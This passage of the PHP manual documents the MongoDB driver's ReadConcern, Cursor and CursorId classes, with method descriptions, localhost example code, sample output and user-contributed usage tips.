echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($rc));

?>

以上示例的输出类似于：

object(stdClass)#2 (0) {
}

{ }

Example #2 MongoDB\Driver\ReadConcern::bsonSerialize() with local read concern

<?php

$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::LOCAL);
var_dump($rc->bsonSerialize());

echo "\n", MongoDB\BSON\toJSON(MongoDB\BSON\fromPHP($rc));

?>

以上示例的输出类似于：

object(stdClass)#2 (1) {
  ["level"]=>
  string(5) "local"
}

{ "level" : "local" }

参见

  • MongoDB\BSON\Serializable::bsonSerialize() - Provides an array or document to serialize as BSON
  • » Read Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Create a new ReadConcern

  • ? MongoDB\Driver\ReadConcern::bsonSerialize
  • MongoDB\Driver\ReadConcern::getLevel ?
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Create a new ReadConcern

MongoDB\Driver\ReadConcern::__construct

(mongodb >=1.0.0)

MongoDB\Driver\ReadConcern::__construct — Create a new ReadConcern

说明

final public MongoDB\Driver\ReadConcern::__construct(?string $level = null)

Constructs a new MongoDB\Driver\ReadConcern, which is an immutable value object.

参数

level

The » read concern level. You may use, but are not limited to, one of the class constants.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\ReadConcern::__construct() example

<?php

/* Unspecified read isolation level (uses the server's default behavior) */
$rc = new MongoDB\Driver\ReadConcern();

/* Request read isolation from a single replica set node */
$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::LOCAL);

/* Request read isolation from a majority of the replica set nodes */
$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::MAJORITY);

?>

参见

  • » Read Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the ReadConcern's "level" option

  • ? MongoDB\Driver\ReadConcern::__construct
  • MongoDB\Driver\ReadConcern::isDefault ?
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Returns the ReadConcern's "level" option

MongoDB\Driver\ReadConcern::getLevel

(mongodb >=1.0.0)

MongoDB\Driver\ReadConcern::getLevel — Returns the ReadConcern's "level" option

说明

final public MongoDB\Driver\ReadConcern::getLevel(): ?string

参数

此函数没有参数。

返回值

Returns the ReadConcern's "level" option.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\ReadConcern::getLevel() example

<?php

$rc = new MongoDB\Driver\ReadConcern();
var_dump($rc->getLevel());

$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::LOCAL);
var_dump($rc->getLevel());

$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::MAJORITY);
var_dump($rc->getLevel());

?>

以上示例会输出：

NULL
string(5) "local"
string(8) "majority"

参见

  • » Read Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Checks if this is the default read concern

  • ? MongoDB\Driver\ReadConcern::getLevel
  • MongoDB\Driver\ReadConcern::serialize ?
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Checks if this is the default read concern

MongoDB\Driver\ReadConcern::isDefault

(mongodb >=1.3.0)

MongoDB\Driver\ReadConcern::isDefault — Checks if this is the default read concern

说明

final public MongoDB\Driver\ReadConcern::isDefault(): bool

Returns whether this is the default read concern (i.e. no options are specified). This method is primarily intended to be used in conjunction with MongoDB\Driver\Manager::getReadConcern() to determine whether the Manager has been constructed without any read concern options.

The driver will not include a default read concern in its read operations (e.g. MongoDB\Driver\Manager::executeQuery()) in order order to allow the server to apply its own default. Libraries that access the Manager's read concern to include it in their own read commands should use this method to ensure that default read concerns are left unset.

参数

此函数没有参数。

返回值

Returns true if this is the default read concern and false otherwise.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\ReadConcern::isDefault() example

<?php

$rc = new MongoDB\Driver\ReadConcern(null);
var_dump($rc->isDefault());

$rc = new MongoDB\Driver\ReadConcern(MongoDB\Driver\ReadConcern::MAJORITY);
var_dump($rc->isDefault());

$manager = new MongoDB\Driver\Manager('mongodb://127.0.0.1/?readConcernLevel=majority');
$rc = $manager->getReadConcern();
var_dump($rc->isDefault());

$manager = new MongoDB\Driver\Manager('mongodb://127.0.0.1/');
$rc = $manager->getReadConcern();
var_dump($rc->isDefault());

?>

以上示例会输出：

bool(true)
bool(false)
bool(false)
bool(true)

参见

  • MongoDB\Driver\Manager::getReadConcern() - Return the ReadConcern for the Manager
  • » Read Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Serialize a ReadConcern

  • ? MongoDB\Driver\ReadConcern::isDefault
  • MongoDB\Driver\ReadConcern::unserialize ?
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Serialize a ReadConcern

MongoDB\Driver\ReadConcern::serialize

(mongodb >=1.7.0)

MongoDB\Driver\ReadConcern::serialize — Serialize a ReadConcern

说明

final public MongoDB\Driver\ReadConcern::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\Driver\ReadConcern.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\ReadConcern::unserialize() - Unserialize a ReadConcern
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a ReadConcern

  • ? MongoDB\Driver\ReadConcern::serialize
  • MongoDB\Driver\Cursor ?
  • PHP Manual
  • MongoDB\Driver\ReadConcern
  • Unserialize a ReadConcern

MongoDB\Driver\ReadConcern::unserialize

(mongodb >=1.7.0)

MongoDB\Driver\ReadConcern::unserialize — Unserialize a ReadConcern

说明

final public MongoDB\Driver\ReadConcern::unserialize(string $data): void

参数

data

The serialized MongoDB\Driver\ReadConcern.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参见

  • MongoDB\Driver\ReadConcern::serialize() - Serialize a ReadConcern
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Cursor class

(mongodb >=1.0.0)

简介

The MongoDB\Driver\Cursor class encapsulates the results of a MongoDB command or query and may be returned by MongoDB\Driver\Manager::executeCommand() or MongoDB\Driver\Manager::executeQuery(), respectively.

类摘要

final class MongoDB\Driver\Cursor implements MongoDB\Driver\CursorInterface, Iterator {
/* 方法 */
final private __construct()
public current(): array|object|null
final public getId(): MongoDB\Driver\CursorId
final public getServer(): MongoDB\Driver\Server
final public isDead(): bool
public key(): int
public next(): void
public rewind(): void
final public setTypeMap(array $typemap): void
final public toArray(): array
public valid(): bool
}

更新日志

版本 | 说明
PECL mongodb 1.9.0 | Implements Iterator.
PECL mongodb 1.6.0 | Implements MongoDB\Driver\CursorInterface, which extends Traversable.

示例

Example #1 Reading a result set

MongoDB\Driver\Manager::executeCommand() and MongoDB\Driver\Manager::executeQuery() both return their result(s) as a MongoDB\Driver\Cursor object. This object can be used to iterate over the result set of the command or query.

Because MongoDB\Driver\Cursor implements the Traversable interface, you can simply iterate over the result set with foreach.

<?php

$manager = new MongoDB\Driver\Manager();

/* Insert some documents so that our query returns information */
$bulkWrite = new MongoDB\Driver\BulkWrite;
$bulkWrite->insert(['name' => 'Ceres', 'size' => 946, 'distance' => 2.766]);
$bulkWrite->insert(['name' => 'Vesta', 'size' => 525, 'distance' => 2.362]);
$manager->executeBulkWrite("test.asteroids", $bulkWrite);

/* Query for all the items in the collection */
$query = new MongoDB\Driver\Query( [] );

/* Query the "asteroids" collection of the "test" database */
$cursor = $manager->executeQuery("test.asteroids", $query);

/* $cursor now contains an object that wraps around the result set. Use
* foreach() to iterate over all the result */
foreach($cursor as $document) {
print_r($document);
}

?>

以上示例的输出类似于：

stdClass Object
(
    [_id] => MongoDB\BSON\ObjectId Object
        (
            [oid] => 5a4cff2f122d3321565d8cc2
        )

    [name] => Ceres
    [size] => 946
    [distance] => 2.766
)
stdClass Object
(
    [_id] => MongoDB\BSON\ObjectId Object
        (
            [oid] => 5a4cff2f122d3321565d8cc3
        )

    [name] => Vesta
    [size] => 525
    [distance] => 2.362
}

Example #2 Reading a result set for a tailable cursor

» Tailable cursors are a special type of MongoDB cursor that allows the client to read some results and then wait until more documents become available. These cursors are primarily used with » Capped Collections and » Change Streams.

While normal cursors can be iterated once with foreach, that approach will not work with tailable cursors. When foreach is used with a tailable cursor, the loop will stop upon reaching the end of the initial result set. Attempting to continue iteration on the cursor with a second foreach would throw an exception, since PHP attempts to rewind the cursor. Similar to result objects in other database drivers, cursors in MongoDB only support forward iteration, which means they cannot be rewound.

In order to continuously read from a tailable cursor, the Cursor object must be wrapped with an IteratorIterator. This allows the application to directly control the cursor's iteration, avoid inadvertently rewinding the cursor, and decide when to wait for new results or stop iteration entirely.

In order to demonstrate a tailable cursor in action, two scripts will be used: a "producer" and a "consumer". The producer script will create a new capped collection using the » create command and proceed to insert a new document into that collection each second.

<?php

$manager = new MongoDB\Driver\Manager;

$manager->executeCommand('test', new MongoDB\Driver\Command([
'create' => 'asteroids',
'capped' => true,
'size' => 1048576,
]));

while (true) {
$bulkWrite = new MongoDB\Driver\BulkWrite;
$bulkWrite->insert(['createdAt' => new MongoDB\BSON\UTCDateTime]);
$manager->executeBulkWrite('test.asteroids', $bulkWrite);

sleep(1);
}

?>

With the producer script still running, a second consumer script may be executed to read the inserted documents using a tailable cursor, indicated by the tailable and awaitData options to MongoDB\Driver\Query::__construct().

<?php

$manager = new MongoDB\Driver\Manager;

$query = new MongoDB\Driver\Query([], [
'tailable' => true,
'awaitData' => true,
]);

$cursor = $manager->executeQuery('test.asteroids', $query);

$iterator = new IteratorIterator($cursor);

$iterator->rewind();

while (true) {
if ($iterator->valid()) {
$document = $iterator->current();
printf("Consumed document created at: %s\n", $document->createdAt);
}

$iterator->next();
}

?>

The consumer script will start by quickly printing all available documents in the capped collection (as if foreach had been used); however, it will not terminate upon reaching the end of the initial result set. Since the cursor is tailable, calling IteratorIterator::next() will block and wait for additional results. IteratorIterator::valid() is also used to check if there is actually data available to read at each step.

Note: This example uses the awaitData query option to instruct the server to block for a short period (e.g. one second) at the end of the result set before returning a response to the driver. This is used to prevent the driver from aggressively polling the server when there are no results available. The maxAwaitTimeMS option may be used in conjunction with tailable and awaitData to specify the amount of time that the server should block when it reaches the end of the result set.

错误／异常

When iterating over the cursor object, BSON data is converted into PHP variables. This iteration can cause the following Exceptions:

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if a class in the type map cannot be instantiated or does not implement MongoDB\BSON\Unserializable.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the input did not contain exactly one BSON document. Possible reasons include, but are not limited to, invalid BSON, extra data (after reading one BSON document), or an unexpected » libbson error.

Table of Contents

  • MongoDB\Driver\Cursor::__construct — Create a new Cursor (not used)
  • MongoDB\Driver\Cursor::current — Returns the current element
  • MongoDB\Driver\Cursor::getId — Returns the ID for this cursor
  • MongoDB\Driver\Cursor::getServer — Returns the server associated with this cursor
  • MongoDB\Driver\Cursor::isDead — Checks if the cursor is exhausted or may have additional results
  • MongoDB\Driver\Cursor::key — Returns the current result's index within the cursor
  • MongoDB\Driver\Cursor::next — Advances the cursor to the next result
  • MongoDB\Driver\Cursor::rewind — Rewind the cursor to the first result
  • MongoDB\Driver\Cursor::setTypeMap — Sets a type map to use for BSON unserialization
  • MongoDB\Driver\Cursor::toArray — Returns an array containing all results for this cursor
  • MongoDB\Driver\Cursor::valid — Checks if the current position in the cursor is valid

User Contributed Notes

cg at papoo dot de 08-Sep-2021 04:29
Since php-mongodb version 1.9.0 Cursor implements Iterator, but if you need to support older versions too, you can conditionally wrap the cursor with IteratorIterator:

<?php
$iterator = $collection->find();

if (!($iterator implements Iterator)) {
  $iterator = new \IteratorIterator($iterator);
}
?>
peichi40233 at gmail dot com 02-Apr-2017 09:32
There used to be a count() method in the old mongo extension (http://docs.php.net/manual/en/mongocursor.count.php), however, this feature seems to be deleted in mongodb.

I've seen some people use executeCommand() to do that, but I found it much more earier to just use the toArray() method and count the returned array.

For example:
$manager = new MongoDB\Driver\Manager();
$query = new MongoDB\Driver\Query($filter, $options);
$cursor = $manager->executeQuery('db.collection', $query)->toArray();
var_dump(count($cursor));
tdrpic 14-Jul-2016 08:03
If you find that it would be easier to use arrays (instead of objects) for the returned documents, add the following after executing your query:

$cursor->setTypeMap(['root' => 'array', 'document' => 'array', 'array' => 'array']);
mikemartin2016 at gmail dot com 17-Feb-2016 08:47
I noticed that  ->sort is missing from the cursor.  Seems like the old driver has more functionality.

[red.: The way how cursors are created is different between the drivers. In the old driver, the cursor would not be created until after the first rewind() call on the iterator.

In the new driver the cursor already exists. Because sort (and limit and skip) parameters need to be send to the server, they can not be called after the cursor already has been created.

You can use sort (and limit and skip) with the new driver as well, by specifying them as options to the Query as shown in this example: http://php.net/manual/en/mongodb-driver-query.construct.php#refsect1-mongodb-driver-query.construct-examples]
max-p at max-p dot me 12-Feb-2016 01:29
As one might notice, this class does not implement a hasNext() or next() method as opposed to the now deprecated Mongo driver.

If, for any reason, you need to pull data from the cursor procedurally or otherwise need to override the behavior of foreach while iterating on the cursor, the SPL \IteratorIterator class can be used. When doing so, it is important to rewind the iterator before using it, otherwise you won't get any data back.

<?php
$cursor = $collection->find();
$it = new \IteratorIterator($cursor);
$it->rewind(); // Very important

while($doc = $it->current()) {
    var_dump($doc);
    $it->next();
}
?>

I used this trick to build a backward compatibility wrapper emulating the old Mongo driver in order to upgrade an older codebase.


Create a new Cursor (not used)

  • ? MongoDB\Driver\Cursor
  • MongoDB\Driver\Cursor::current ?
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Create a new Cursor (not used)

MongoDB\Driver\Cursor::__construct

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::__construct — Create a new Cursor (not used)

说明

final private MongoDB\Driver\Cursor::__construct()

MongoDB\Driver\Cursor objects are returned as the result of an executed command or query and cannot be constructed directly.

参数

此函数没有参数。

参见

  • MongoDB\Driver\Manager::executeCommand() - Execute a database command
  • MongoDB\Driver\Manager::executeQuery() - Execute a database query
  • MongoDB\Driver\Server::executeCommand() - Execute a database command on this server
  • MongoDB\Driver\Server::executeQuery() - Execute a database query on this server

User Contributed Notes

There are no user contributed notes for this page.


Returns the current element

  • ? MongoDB\Driver\Cursor::__construct
  • MongoDB\Driver\Cursor::getId ?
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Returns the current element

MongoDB\Driver\Cursor::current

(mongodb >=1.9.0)

MongoDB\Driver\Cursor::current — Returns the current element

说明

public MongoDB\Driver\Cursor::current(): array|object|null

参数

此函数没有参数。

返回值

Returns the current result document as an array or object, depending on the cursor's type map. If iteration has not started or the current position is not valid, null will be returned.

参见

  • Iterator::current() - 返回当前元素

User Contributed Notes

There are no user contributed notes for this page.


Returns the ID for this cursor

  • ? MongoDB\Driver\Cursor::current
  • MongoDB\Driver\Cursor::getServer ?
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Returns the ID for this cursor

MongoDB\Driver\Cursor::getId

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::getId — Returns the ID for this cursor

说明

final public MongoDB\Driver\Cursor::getId(): MongoDB\Driver\CursorId

Returns the MongoDB\Driver\CursorId associated with this cursor. A cursor ID uniquely identifies the cursor on the server.

参数

此函数没有参数。

返回值

Returns the MongoDB\Driver\CursorId for this cursor.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\Cursor::getId() example

<?php

/* In this example, we insert several documents into the collection and specify
* a smaller batchSize to ensure that the first batch contains only a subset of
* our results and the cursor remains open on the server. */
$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$query = new MongoDB\Driver\Query([], ['batchSize' => 2]);

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->insert(['x' => 2]);
$bulk->insert(['x' => 3]);
$manager->executeBulkWrite('db.collection', $bulk);

$cursor = $manager->executeQuery('db.collection', $query);
var_dump($cursor->getId());

?>

以上示例的输出类似于：

object(MongoDB\Driver\CursorId)#5 (1) {
  ["id"]=>
  int(94810124093)
}

参见

  • MongoDB\Driver\CursorId
  • MongoDB\Driver\CursorId::__toString() - String representation of the cursor ID

User Contributed Notes

There are no user contributed notes for this page.


Returns the server associated with this cursor

  • ? MongoDB\Driver\Cursor::getId
  • MongoDB\Driver\Cursor::isDead ?
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Returns the server associated with this cursor

MongoDB\Driver\Cursor::getServer

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::getServer — Returns the server associated with this cursor

说明

final public MongoDB\Driver\Cursor::getServer(): MongoDB\Driver\Server

Returns the MongoDB\Driver\Server associated with this cursor. This is the server that executed the MongoDB\Driver\Query or MongoDB\Driver\Command.

参数

此函数没有参数。

返回值

Returns the MongoDB\Driver\Server associated with this cursor.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\Cursor::getServer() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$query = new MongoDB\Driver\Query([]);

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$manager->executeBulkWrite('db.collection', $bulk);

$cursor = $manager->executeQuery('db.collection', $query);
var_dump($cursor->getServer());

?>

以上示例的输出类似于：

object(MongoDB\Driver\Server)#5 (10) {
  ["host"]=>
  string(9) "localhost"
  ["port"]=>
  int(27017)
  ["type"]=>
  int(1)
  ["is_primary"]=>
  bool(false)
  ["is_secondary"]=>
  bool(false)
  ["is_arbiter"]=>
  bool(false)
  ["is_hidden"]=>
  bool(false)
  ["is_passive"]=>
  bool(false)
  ["last_hello_response"]=>
  array(8) {
    ["isWritablePrimary"]=>
    bool(true)
    ["maxBsonObjectSize"]=>
    int(16777216)
    ["maxMessageSizeBytes"]=>
    int(48000000)
    ["maxWriteBatchSize"]=>
    int(1000)
    ["localTime"]=>
    object(MongoDB\BSON\UTCDateTime)#6 (1) {
      ["milliseconds"]=>
      int(1446505367907)
    }
    ["maxWireVersion"]=>
    int(3)
    ["minWireVersion"]=>
    int(0)
    ["ok"]=>
    float(1)
  }
  ["round_trip_time"]=>
  int(584)
}

参见

  • MongoDB\Driver\Server

User Contributed Notes

There are no user contributed notes for this page.


Checks if the cursor is exhausted or may have additional results

  • ? MongoDB\Driver\Cursor::getServer
  • MongoDB\Driver\Cursor::key ?
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Checks if the cursor is exhausted or may have additional results

MongoDB\Driver\Cursor::isDead

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::isDead — Checks if the cursor is exhausted or may have additional results

说明

final public MongoDB\Driver\Cursor::isDead(): bool

Checks whether there are definitely no additional results available on the cursor. This method is similar to the » cursor.isExhausted() method in the MongoDB shell and is primarily useful when iterating » tailable cursors.

A cursor has no additional results and is considered "dead" when one of the following is true:

  • The current batch has been fully iterated and the cursor ID is zero (i.e. a » getMore cannot be issued).
  • An error was encountered while iterating the cursor.
  • The cursor reached its configured limit.

By design, it is not possible to always determine whether a cursor has additional results. The cases where a cursor may have more data available is as follows:

  • There are additional documents in the current batch, which are buffered on the client side. Iterating will fetch a document from the local buffer.
  • There are no additional documents in the current batch (i.e. local buffer), but the cursor ID is non-zero. Iterating will request more documents from the server via a » getMore operation, which may or may not return additional results and/or indicate that the cursor has been closed on the server by returning zero for its ID.

参数

此函数没有参数。

返回值

Returns true if there are definitely no additional results available on the cursor, and false otherwise.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\Cursor::isDead() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$query = new MongoDB\Driver\Query([]);

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->insert(['x' => 2]);
$bulk->insert(['x' => 3]);
$manager->executeBulkWrite('db.collection', $bulk);

$cursor = $manager->executeQuery('db.collection', $query);

$iterator = new IteratorIterator($cursor);

$iterator->rewind();
var_dump($cursor->isDead());

$iterator->next();
var_dump($cursor->isDead());

$iterator->next();
var_dump($cursor->isDead());

$iterator->next();
var_dump($cursor->isDead());

?>

以上示例会输出：

bool(false)
bool(false)
bool(false)
bool(true)

参见

  • » Tailable Cursors in the MongoDB manual
  • » cursor.isExhausted() in the MongoDB manual

User Contributed Notes

There are no user contributed notes for this page.


Returns the current result's index within the cursor

  • ? MongoDB\Driver\Cursor::isDead
  • MongoDB\Driver\Cursor::next ?
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Returns the current result's index within the cursor

MongoDB\Driver\Cursor::key

(mongodb >=1.9.0)

MongoDB\Driver\Cursor::key — Returns the current result's index within the cursor

说明

public MongoDB\Driver\Cursor::key(): int

参数

此函数没有参数。

返回值

The current result's numeric index within the cursor.

参见

  • Iterator::key() - 返回当前元素的键

User Contributed Notes

There are no user contributed notes for this page.


Advances the cursor to the next result

  • ? MongoDB\Driver\Cursor::key
  • MongoDB\Driver\Cursor::rewind ?
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Advances the cursor to the next result

MongoDB\Driver\Cursor::next

(mongodb >=1.9.0)

MongoDB\Driver\Cursor::next — Advances the cursor to the next result

说明

public MongoDB\Driver\Cursor::next(): void

参数

此函数没有参数。

返回值

Moves the current position to the next element in the cursor.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.

参见

  • Iterator::next() - 向前移动到下一个元素

User Contributed Notes

There are no user contributed notes for this page.


Rewind the cursor to the first result

  • ? MongoDB\Driver\Cursor::next
  • MongoDB\Driver\Cursor::setTypeMap ?
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Rewind the cursor to the first result

MongoDB\Driver\Cursor::rewind

(mongodb >=1.9.0)

MongoDB\Driver\Cursor::rewind — Rewind the cursor to the first result

说明

public MongoDB\Driver\Cursor::rewind(): void

If the cursor has advanced beyond its first position, it can no longer be rewound.

参数

此函数没有参数。

返回值

null.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\ConnectionException if connection to the server fails (for reasons other than authentication).
  • Throws MongoDB\Driver\Exception\AuthenticationException if authentication is needed and fails.
  • Throws MongoDB\Driver\Exception\LogicException if this method is called after the cursor has advanced beyond its first position.

参见

  • Iterator::rewind() - 返回到迭代器的第一个元素

User Contributed Notes

There are no user contributed notes for this page.


Sets a type map to use for BSON unserialization

  • ? MongoDB\Driver\Cursor::rewind
  • MongoDB\Driver\Cursor::toArray ?
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Sets a type map to use for BSON unserialization

MongoDB\Driver\Cursor::setTypeMap

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::setTypeMap — Sets a type map to use for BSON unserialization

说明

final public MongoDB\Driver\Cursor::setTypeMap(array $typemap): void

Sets the type map configuration to use when unserializing the BSON results into PHP values.

参数

typeMap (array)

Type map configuration.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

When iterating over the cursor, the following exceptions can also be thrown due to an incorrect type map configuration:

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if a class in the type map cannot be instantiated or does not implement MongoDB\BSON\Unserializable.

示例

Example #1 MongoDB\Driver\Cursor::setTypeMap() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$bulk = new MongoDB\Driver\BulkWrite;
$id = $bulk->insert(['x' => 1]);
$manager->executeBulkWrite('db.collection', $bulk);

$query = new MongoDB\Driver\Query(['_id' => $id]);
$cursor = $manager->executeQuery('db.collection', $query);
$cursor->setTypeMap(['root' => 'array']);

foreach ($cursor as $document) {
var_dump($document);
}

?>

以上示例的输出类似于：

array(2) {
  ["_id"]=>
  object(MongoDB\BSON\ObjectId)#6 (1) {
    ["oid"]=>
    string(24) "56424fb76118fd3267180741"
  }
  ["x"]=>
  int(1)
}

参见

  • Persisting Data

User Contributed Notes

tdrpic 14-Jul-2016 07:59
If you would prefer to have the results returned as an associative array, after executing your query you could call $cursor->setTypeMap like this:

$cursor->setTypeMap(['root' => 'array', 'document' => 'array', 'array' => 'array']);


Returns an array containing all results for this cursor

  • ? MongoDB\Driver\Cursor::setTypeMap
  • MongoDB\Driver\Cursor::valid ?
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Returns an array containing all results for this cursor

MongoDB\Driver\Cursor::toArray

(mongodb >=1.0.0)

MongoDB\Driver\Cursor::toArray — Returns an array containing all results for this cursor

说明

final public MongoDB\Driver\Cursor::toArray(): array

Iterates the cursor and returns its results in an array. MongoDB\Driver\Cursor::setTypeMap() may be used to control how documents are unserialized into PHP values.

参数

此函数没有参数。

返回值

Returns an array containing all results for this cursor.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\Cursor::toArray() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->insert(['x' => 2]);
$bulk->insert(['x' => 3]);
$manager->executeBulkWrite('db.collection', $bulk);

$query = new MongoDB\Driver\Query([]);
$cursor = $manager->executeQuery('db.collection', $query);

var_dump($cursor->toArray());

?>

以上示例的输出类似于：

array(3) {
  [0]=>
  object(stdClass)#6 (2) {
    ["_id"]=>
    object(MongoDB\BSON\ObjectId)#5 (1) {
      ["oid"]=>
      string(24) "564259a96118fd40b41bcf61"
    }
    ["x"]=>
    int(1)
  }
  [1]=>
  object(stdClass)#8 (2) {
    ["_id"]=>
    object(MongoDB\BSON\ObjectId)#7 (1) {
      ["oid"]=>
      string(24) "564259a96118fd40b41bcf62"
    }
    ["x"]=>
    int(2)
  }
  [2]=>
  object(stdClass)#10 (2) {
    ["_id"]=>
    object(MongoDB\BSON\ObjectId)#9 (1) {
      ["oid"]=>
      string(24) "564259a96118fd40b41bcf63"
    }
    ["x"]=>
    int(3)
  }
}

参见

  • MongoDB\Driver\Cursor::setTypeMap() - Sets a type map to use for BSON unserialization

User Contributed Notes

284743576 at qq dot com 19-Oct-2017 05:52
$cursor = $manager->executeQuery('db.collection', $query);
$cursor->setTypeMap(['root' => 'array', 'document' => 'array', 'array' => 'array']);
return $cursor->toArray();


Checks if the current position in the cursor is valid

  • ? MongoDB\Driver\Cursor::toArray
  • MongoDB\Driver\CursorId ?
  • PHP Manual
  • MongoDB\Driver\Cursor
  • Checks if the current position in the cursor is valid

MongoDB\Driver\Cursor::valid

(mongodb >=1.9.0)

MongoDB\Driver\Cursor::valid — Checks if the current position in the cursor is valid

说明

public MongoDB\Driver\Cursor::valid(): bool

参数

此函数没有参数。

返回值

true if the current cursor position is valid, false otherwise.

参见

  • Iterator::valid() - 检查当前位置是否有效

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\CursorId class

(mongodb >=1.0.0)

简介

The MongoDB\Driver\CursorID class is a value object that represents a cursor ID. Instances of this class are returned by MongoDB\Driver\Cursor::getId().

类摘要

final class MongoDB\Driver\CursorId implements Serializable, Stringable {
/* 方法 */
final private __construct()
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

更新日志

版本 | 说明
PECL mongodb 1.12.0 | Implements Stringable for PHP 8.0+.
PECL mongodb 1.7.0 | Implements Serializable.

Table of Contents

  • MongoDB\Driver\CursorId::__construct — Create a new CursorId (not used)
  • MongoDB\Driver\CursorId::serialize — Serialize a CursorId
  • MongoDB\Driver\CursorId::__toString — String representation of the cursor ID
  • MongoDB\Driver\CursorId::unserialize — Unserialize a CursorId

User Contributed Notes

There are no user contributed notes for this page.


Create a new CursorId (not used)

  • ? MongoDB\Driver\CursorId
  • MongoDB\Driver\CursorId::serialize ?
  • PHP Manual
  • MongoDB\Driver\CursorId
  • Create a new CursorId (not used)

MongoDB\Driver\CursorId::__construct

(mongodb >=1.0.0)

MongoDB\Driver\CursorId::__construct — Create a new CursorId (not used)

说明

final private MongoDB\Driver\CursorId::__construct()

MongoDB\Driver\CursorId objects are returned from MongoDB\Driver\Cursor::getId() and cannot be constructed directly.

参数

此函数没有参数。

参见

  • MongoDB\Driver\Cursor::getId() - Returns the ID for this cursor

User Contributed Notes

There are no user contributed notes for this page.


Serialize a CursorId

  • ? MongoDB\Driver\CursorId::__construct
  • MongoDB\Driver\CursorId::__toString ?
  • PHP Manual
  • MongoDB\Driver\CursorId
  • Serialize a CursorId

MongoDB\Driver\CursorId::serialize

(mongodb >=1.7.0)

MongoDB\Driver\CursorId::serialize — Serialize a CursorId

说明

final public MongoDB\Driver\CursorId::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\Driver\CursorId.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\CursorId::unserialize() - Unserialize a CursorId
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


String representation of the cursor ID

  • ? MongoDB\Driver\CursorId::serialize
  • MongoDB\Driver\CursorId::unserialize ?
